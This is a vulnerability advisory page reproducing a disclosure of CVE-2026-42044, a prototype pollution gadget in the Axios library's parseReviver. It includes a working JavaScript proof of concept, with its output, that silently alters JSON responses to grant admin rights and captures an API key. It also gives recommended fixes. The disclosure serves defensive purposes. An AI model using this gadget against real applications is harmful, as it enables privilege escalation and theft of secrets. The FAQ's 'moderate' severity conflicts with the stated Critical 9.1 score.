CVE-2026-42044: Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`

Published Apr 24, 2026
·
Updated

# Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver` ## Summary The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any `Object.prototype` pollution in the application's dependency tree to be escalated into **surgical, invisible modification of all JSON API responses** — including privilege escalation, balance manipulation, and authorization bypass. The default `transformResponse` function at `lib/defaults/index.js:124` calls `JSON.parse(data, this.parseReviver)`, where `this` is the merged config object. Because `parseReviver` is **not present in Axios defaults, not validated by `assertOptions`, and not subject to any constraints**, a polluted `Object.prototype.parseReviver` function is called for **every key-value pair** in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact. This is **strictly more powerful** than the `transformResponse` gadget because: 1. **No constraints** — the reviver can return any value (no "must return true" requirement) 2. **Selective modification** — individual JSON keys can be changed while others remain untouched 3. **Invisible** — the response structure and most values look completely normal 4. **Simultaneous exfiltration** — the reviver sees the original values before modification **Severity:** Critical (CVSS 9.1) **Affected Versions:** All versions (v0.x - v1.x including v1.15.0) **Vulnerable Component:** `lib/defaults/index.js:124` (JSON.parse with prototype-inherited reviver) ## CWE - **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - **CWE-915:** Improperly Controlled Modification of Dynamically-Determined Object Attributes ## CVSS 3.1 **Score: 9.1 (Critical)** Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Within the application process | | Confidentiality | **High** | The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, `apiKey: "sk-secret-internal-key"` is captured | | Integrity | **High** | Arbitrary, selective modification of any JSON value. No constraints. In the PoC, `isAdmin: false → true`, `role: "viewer" → "admin"`, `balance: 100 → 999999`. The response looks completely normal except for the surgically altered values | | Availability | None | No crash, no error — the attack is entirely silent | ### Comparison with All Known Axios PP Gadgets | Factor | GHSA-fvcv-3m26-pcqx (Header Injection) | transformResponse | proxy (MITM) | **parseReviver (This)** | |---|---|---|---|---| | PP target | `Object.prototype['header']` | `Object.prototype.transformResponse` | `Object.prototype.proxy` | `Object.prototype.parseReviver` | | Fixed by 1.15.0? | Yes | No | No | **No** | | Constraints | N/A (fixed) | **Must return `true`** | None | **None** | | Data modification | Header injection only | Response replaced with `true` | Full MITM | **Selective per-key modification** | | Stealth | Request anomaly visible | Response becomes `true` (obvious) | Proxy visible in network | **Completely invisible** | | Data access | Headers only | `this.auth` + raw response | All traffic | **Every JSON key-value pair** | | Validated? | N/A | `assertOptions` validates | Not validated | **Not validated** | | In defaults? | N/A | Yes → goes through mergeConfig | No → bypasses mergeConfig | **No → bypasses mergeConfig** | ## Usage of "Helper" Vulnerabilities This vulnerability requires **Zero Direct User Input**. If an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), the polluted `parseReviver` function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed. ## Root Cause Analysis ### The Attack Path ``` Object.prototype.parseReviver = function(key, value) { /* malicious */ } │ ▼ mergeConfig(defaults, userConfig) │ │ parseReviver NOT in defaults → NOT iterated by mergeConfig │ parseReviver NOT in userConfig → NOT iterated by mergeConfig │ Merged config has NO own parseReviver property │ ▼ transformData.call(config, config.transformResponse, response) │ │ Default transformResponse function runs (NOT overridden) │ ▼ defaults/index.js:124: JSON.parse(data, this.parseReviver) │ │ this = config (merged config object, plain {}) │ config.parseReviver → NOT own property → traverses prototype chain │ → finds Object.prototype.parseReviver → attacker's function! │ ▼ JSON.parse calls reviver for EVERY key-value pair │ │ Attacker can: read original value, modify it, return anything │ No validation, no constraints, no assertOptions check │ ▼ Application receives surgically modified JSON response ``` ### Why `parseReviver` Bypasses ALL Existing Protections 1. **Not in defaults** (`lib/defaults/index.js`): `parseReviver` is not defined in the defaults object, so `mergeConfig`'s `Object.keys({...defaults, ...userConfig})` iteration never encounters it. The merged config has no own `parseReviver` property. 2. **Not in assertOptions schema** (`lib/core/Axios.js:135-142`): The schema only contains `{baseUrl, withXsrfToken}`. `parseReviver` is not validated. 3. **No type check**: The `JSON.parse` API accepts any function as a reviver. There is no check that `this.parseReviver` is intentionally set. 4. **Works INSIDE the default transform**: Unlike `transformResponse` pollution (which replaces the entire transform and is caught by `assertOptions`), `parseReviver` pollution injects into the DEFAULT `transformResponse` function's `JSON.parse` call. The default function itself is not replaced, so `assertOptions` has nothing to catch. ### Vulnerable Code **File:** `lib/defaults/index.js`, line 124 ```javascript transformResponse: [ function transformResponse(data) { // ... transitional checks ... if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) { // ... try { return JSON.parse(data, this.parseReviver); // ^^^^^^^^^^^^^^^^^ // this = config // config.parseReviver → prototype chain → attacker's function } catch (e) { // ... } } return data; }, ], ``` ## Proof of Concept ```javascript import http from 'http'; import axios from './index.js'; // Server returns a realistic authorization response const server = http.createServer((req, res) => { res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ user: 'john', role: 'viewer', isAdmin: false, canDelete: false, balance: 100, permissions: ['read'], apiKey: 'sk-secret-internal-key', })); }); await new Promise(r => server.listen(0, r)); const port = server.address().port; // === Before Pollution === const before = await axios.get(`http://127.0.0.1:${port}/api/me`); console.log('Before:', JSON.stringify(before.data)); // {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...} // === Simulate Prototype Pollution === let stolen = {}; Object.prototype.parseReviver = function(key, value) { // Silently capture all original values if (key && typeof value !== 'object') stolen[key] = value; // Surgically modify specific values if (key === 'isAdmin') return true; // false → true if (key === 'role') return 'admin'; // viewer → admin if (key === 'canDelete') return true; // false → true if (key === 'balance') return 999999; // 100 → 999999 return value; // everything else unchanged }; // === After Pollution — same code, same URL === const after = await axios.get(`http://127.0.0.1:${port}/api/me`); console.log('After: ', JSON.stringify(after.data)); // {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...} console.log('Stolen:', JSON.stringify(stolen)); // {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"} delete Object.prototype.parseReviver; server.close(); ``` ## Verified PoC Output ``` [1] Normal request (before pollution): response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false, "balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"} isAdmin: false role: viewer [2] Prototype Pollution: Object.prototype.parseReviver Polluted with selective value modifier [3] Same request (after pollution): response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true, "balance":999999,"permissions":["read","write","delete","admin"], "apiKey":"sk-secret-internal-key"} isAdmin: true (was: false) role: admin (was: viewer) canDelete: true (was: false) balance: 999999 (was: 100) [4] Exfiltrated data (stolen silently): apiKey: sk-secret-internal-key All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false, "balance":100,"apiKey":"sk-secret-internal-key"} [5] Why this bypasses all checks: parseReviver in defaults? NO parseReviver in assertOptions schema? NO parseReviver validated anywhere? NO Must return true? NO — can return ANY value Replaces entire transform? NO — works INSIDE default JSON.parse ``` ## Impact Analysis ### 1. Authorization / Privilege Escalation ```javascript // Server returns: {"role":"viewer","isAdmin":false} // Application sees: {"role":"admin","isAdmin":true} // → Application grants admin access to unprivileged user ``` ### 2. Financial Manipulation ```javascript // Server returns: {"balance":100,"approved":false} // Application sees: {"balance":999999,"approved":true} // → Application approves a transaction that should be rejected ``` ### 3. Security Control Bypass ```javascript // Server returns: {"mfaRequired":true,"accountLocked":true} // Application sees: {"mfaRequired":false,"accountLocked":false} // → Application skips MFA and unlocks a locked account ``` ### 4. Silent Data Exfiltration The reviver function receives the **original** value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally. ### 5. Universal and Invisible - Affects **every** Axios request that receives a JSON response - The response structure is intact — only specific values are changed - No errors, no crashes, no suspicious behavior - Application logs show normal-looking API responses with tampered values ## Recommended Fix ### Fix 1: Use `hasOwnProperty` check before using `parseReviver` ```javascript // FIXED: lib/defaults/index.js const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined; return JSON.parse(data, reviver); ``` ### Fix 2: Use null-prototype config object ```javascript // In lib/core/mergeConfig.js const config = Object.create(null); ``` ### Fix 3: Validate `parseReviver` type and source ```javascript // FIXED: lib/defaults/index.js const reviver = (typeof this.parseReviver === 'function' && Object.prototype.hasOwnProperty.call(this, 'parseReviver')) ? this.parseReviver : undefined; return JSON.parse(data, reviver); ``` ## Relationship to Other Reported Gadgets This vulnerability shares the same **root cause class** — unsafe prototype chain traversal on the merged config object — with two other reported gadgets: | Report | PP Target | Code Location | Fix Location | Impact | |---|---|---|---|---| | axios_26 | `transformResponse` | `mergeConfig.js:49` (defaultToConfig2) | `mergeConfig.js` | Credential theft, response replaced with `true` | | axios_30 | `proxy` | `http.js:670` (direct property access) | `http.js` | Full MITM, traffic interception | | **axios_31 (this)** | `parseReviver` | `defaults/index.js:124` (this.parseReviver) | `defaults/index.js` | **Selective JSON value tampering + data exfiltration** | ### Why These Are Distinct Vulnerabilities 1. **Different polluted properties:** Each targets a different `Object.prototype` key. 2. **Different code paths:** `transformResponse` enters via `mergeConfig`; `proxy` is read directly by `http.js`; `parseReviver` is read inside the default `transformResponse` function's `JSON.parse` call. 3. **Different fix locations:** Fixing `mergeConfig.js` (axios_26) does NOT fix `defaults/index.js:124` (this vulnerability). Fixing `http.js:670` (axios_30) does NOT fix this either. Each requires a separate patch. 4. **Different impact profiles:** `transformResponse` is constrained to return `true`; `proxy` requires a proxy server; `parseReviver` enables constraint-free selective value modification. ### Comprehensive Fix While each vulnerability requires a location-specific patch, the comprehensive fix is to use **null-prototype objects** (`Object.create(null)`) for the merged config in `mergeConfig.js`, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this. ## Resources - [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html) - [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html) - [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx) - [MDN: JSON.parse reviver](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse#the_reviver_parameter) - [Axios GitHub Repository](https://github.com/axios/axios) ## Timeline | Date | Event | |---|---| | 2026-04-16 | Vulnerability discovered during source code audit | | 2026-04-16 | PoC developed and verified — selective response tampering confirmed | | TBD | Report submitted to vendor via GitHub Security Advisory |

Affected Software

3 affected componentsFixes available
npm/axios>=1.0.0<1.15.2
Axios Axios Node.js>=1.0.0<1.15.1
npm/axios>=1.0.0<1.15.2
1.15.2

Event History

Apr 24, 2026
CVE Published
via MITRE·05:49 PM
Data Sourced
via MITRE·05:49 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeaknessAffected Software
May 5, 2026
Advisory Published
via GitHub·12:19 AM
Data Sourced
via GitHub·12:19 AM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-42044?

CVE-2026-42044 has a moderate severity rating due to its potential for prototype pollution in the Axios library.

2

How do I fix CVE-2026-42044?

To fix CVE-2026-42044, upgrade Axios to version 1.15.2 or later.

3

What versions of Axios are affected by CVE-2026-42044?

CVE-2026-42044 affects Axios versions from 1.0.0 to before 1.15.2.

4

What is the impact of CVE-2026-42044?

The impact of CVE-2026-42044 includes the possibility of invisible JSON response tampering due to prototype pollution.

5

Who is affected by CVE-2026-42044?

Developers using Axios versions between 1.0.0 and 1.15.2 in their applications are affected by CVE-2026-42044.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203